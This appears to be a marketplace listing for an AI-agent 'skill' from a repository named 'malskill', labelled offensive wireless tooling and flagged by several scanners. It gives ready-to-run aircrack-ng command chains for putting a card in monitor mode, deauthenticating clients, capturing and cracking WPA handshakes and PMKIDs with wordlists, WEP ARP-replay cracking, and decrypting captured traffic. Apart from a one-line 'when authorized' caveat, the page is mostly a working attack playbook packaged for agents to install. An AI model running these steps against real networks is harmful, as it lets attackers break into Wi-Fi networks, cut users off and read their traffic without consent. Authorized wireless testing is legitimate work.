offensive-tools/wireless/aircrack-ng/SKILL.md
Auth/lab ref: 802.11 auditing suite for monitor-mode Wi-Fi assessment, including handshake capture, deauthentication-assisted testing, WEP workflows, injection checks, precomputed PMK cracking, and offline traffic.
npx skillsauth add aeondave/malskill aircrack-ngInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Monitor-mode Wi‑Fi assessment suite for capture, injection, and classic wireless attack chains.
apt install aircrack-ng
# 1. Enable monitor mode
airmon-ng check
airmon-ng check kill
airmon-ng start wlan0 # Creates wlan0mon
# 2. Discover networks
airodump-ng wlan0mon
# 3. Capture target handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# 4. Deauth client (separate terminal) to force handshake when authorized
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# 5. Crack WPA handshake
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
Choose aircrack-ng when you need:
| Tool | Purpose |
|------|---------|
| airmon-ng | Monitor mode management |
| airodump-ng | Packet capture / AP discovery |
| aireplay-ng | Packet injection / deauth |
| aircrack-ng | WEP/WPA cracking |
| airdecap-ng | Decrypt captured traffic |
| airgraph-ng | Visualize network topology |
aireplay-ng --fakeauth is a WEP association technique; it is not a WPA/WPA2 authentication method.kismet is often a better first choice.wifite is usually faster.Validate injection before depending on replay attacks:
aireplay-ng -9 wlan0mon
WPA PMKID attack (no client needed, companion tooling):
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool pmkid.pcapng -o hashes.22000
hashcat -m 22000 hashes.22000 rockyou.txt
Precompute PMKs for repeated ESSID-specific cracking:
echo "TargetSSID" > essid.txt
airolib-ng target.sqlite --import essid essid.txt
airolib-ng target.sqlite --import passwd /usr/share/wordlists/rockyou.txt
airolib-ng target.sqlite --batch
aircrack-ng -r target.sqlite capture-01.cap
WEP crack:
airodump-ng -c 11 --bssid BSSID -w wep wlan0mon
aireplay-ng -3 -b BSSID wlan0mon # ARP replay
aircrack-ng wep-01.cap # Auto-cracks when enough IVs
Decrypt recovered traffic for Wireshark / tshark review:
airdecap-ng -b AA:BB:CC:DD:EE:FF -e TargetSSID -p recovered-pass capture-01.cap
| Need | Better fit |
|------|------------|
| Precise Linux monitor-mode capture | aircrack-ng |
| Passive Wi‑Fi / Bluetooth / RF recon | kismet |
| Rapid automated WPA/PMKID workflow | wifite |
| File | When to load |
|------|--------------|
| references/adapter-and-capture-workflows.md | For adapter prep, fake-auth caveats, handshake/PMKID/WEP workflows, hidden SSID recovery, PMK databases, and decryption follow-up |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.